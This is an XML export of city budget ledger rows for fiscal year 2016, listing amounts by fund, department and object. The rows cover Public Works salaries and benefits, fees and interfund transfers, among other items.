<row _id="21235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-21793</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21793</total></row>
<row _id="21236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>43336</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>43336</total></row>
<row _id="21237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>43047</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>43047</total></row>
<row _id="21238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6930</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6930</total></row>
<row _id="21239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409072.0</object><object_description>ROSIE'S GIRLS-SUMMER I</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577762.0</object><object_description>CDBG REIMB-PUBLIC WORKS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50000</total></row>
<row _id="21241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>381749</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>381749</total></row>
<row _id="21242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>86996</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>86996</total></row>
<row _id="21243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>419</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>419</total></row>
<row _id="21244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2898233</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2898233</total></row>
<row _id="21245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8613</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8613</total></row>
<row _id="21247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16279</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16279</total></row>
<row _id="21248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>798140</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>798140</total></row>
<row _id="21249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402460.0</object><object_description>TENANT UTILITIES PAYMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-165226</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-165226</total></row>
<row _id="21250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400580.0</object><object_description>FILMING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-151947</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-151947</total></row>
<row _id="21251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>25221</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25221</total></row>
<row _id="21252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>44325</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>44325</total></row>
<row _id="21253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26400</total></row>
<row _id="21254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2855016</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2855016</total></row>
<row _id="21255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>862</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>862</total></row>
<row _id="21256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522312.0</object><object_description>DISCOUNTS LOST</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401400.0</object><object_description>UTILITY EXCAVATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-236352</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-236352</total></row>
<row _id="21259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570070.0</object><object_description>TRANSFER-MEASURE V FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-723686</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-723686</total></row>
<row _id="21260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12897</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12897</total></row>
<row _id="21261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404560.0</object><object_description>UTILITY POLE LEASE FEE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-3972</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3972</total></row>
<row _id="21262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>402050.0</object><object_description>TRANSPORTATION IMPACT FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-294000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-294000</total></row>
<row _id="21263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5240</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5240</total></row>
<row _id="21264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511747.0</object><object_description>CASH-IN-LIEU</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21265"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-2470</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2470</total></row>
<row _id="21266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1737</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1737</total></row>
<row _id="21267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1591</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1591</total></row>
<row _id="21268"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>533010.0</object><object_description>PERSONAL PROTECTIVE EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>31161</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31161</total></row>
<row _id="21270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533710.0</object><object_description>SOFTWARE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-43450</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-43450</total></row>
<row _id="21272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6530</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6530</total></row>
<row _id="21273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>96120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>96120</total></row>
<row _id="21274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>439</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>439</total></row>
<row _id="21275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10248</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10248</total></row>
<row _id="21276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4917</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4917</total></row>
<row _id="21277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1971</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1971</total></row>
<row _id="21278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-97509</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-97509</total></row>
<row _id="21279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>21619</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21619</total></row>
<row _id="21280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>588030.0</object><object_description>COMPUTER EQUIPMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>75000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>75000</total></row>
<row _id="21281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>588110.0</object><object_description>TRAFFIC CONTROL EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30165</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30165</total></row>
<row _id="21282"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579320.0</object><object_description>TRANSFER OUT TO CEMETERY FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>151516</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>151516</total></row>
<row _id="21283"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579320.0</object><object_description>TRANSFER IN FROM GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-151516</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-151516</total></row>
<row _id="21284"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-3RD ST &amp; MISC</object_description><category_code>800.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30819</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30819</total></row>
